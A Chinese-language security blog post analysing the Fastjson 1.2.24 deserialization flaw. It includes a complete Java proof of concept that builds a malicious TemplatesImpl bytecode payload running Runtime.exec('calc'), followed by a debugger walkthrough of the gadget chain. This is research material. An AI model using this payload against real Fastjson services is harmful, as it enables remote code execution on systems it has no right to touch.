依赖
先研究1.2.24版本的,版本高了就有waf了,不过也能绕,高版本以后再说
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>5.1.46</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.29.1-GA</version> </dependency>
Fastjson之任意get,set调用
TemplatesImpl链
老样子定义恶意类,然后打TemplatesImpl的defineClass
package org.example; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.*; import java.io.IOException; import java.util.Base64; public class Main { public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException { ClassPool pool = new ClassPool(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = pool.makeClass("Cat"); String cmd = "java.lang.Runtime.getRuntime().exec("calc");"; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] codes = cc.toBytecode(); String value = Base64.getEncoder().encodeToString(codes); String payload = "{"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": [""+value+""], "_name": "c.c", "_tfactory": {}, "_outputProperties": {},"_name": "a", "_version": "1.0", "allowedProtocols": "all"}"; // 注意这里这些属性都是私有属性,所以得设置Feature.SupportNonPublicField来保证可以对私有属性赋值 JSON.parseObject(payload, Feature.SupportNonPublicField); } }
打个断点进行分析,断点打在JSON.parseObject,进入parse

这里配置了我们传入的Feature.SupportNonPublicField为true

继续跟进parse

继续跟进parse

这里对token进行选择,我们的token在DefaultJSONParser中被赋值了12,继续跟进,LBRACE就是12

进入parseObject,取到key为@type

加载key的value也就是我们传入的TemplatsImpl
跟进loadClass

往下走,获取一个类加载器来加载我们的恶意类,然后放入一个map中

返回之后往下走,调用getDeserializer将恶意类进行JSON反序列化

跟进该方法,一系列的判断,没啥用,直接过,来到这,创建了个JavaBeanDeserializer
跟进该方法,又是一系列的判断,略过来到这里,调用了JavaBeanDeserializer

跟进该构造方法

跟进build方法,这里循环调用恶意类的方法,调用到getOutProperties,define恶意类
set也是一样
JdbcRowSetImpl链
之前的JNDI注入分析文章已经分析过了
https://tttang.com/archive/1579/#toc_
https://www.cnblogs.com/F12-blog/p/18100120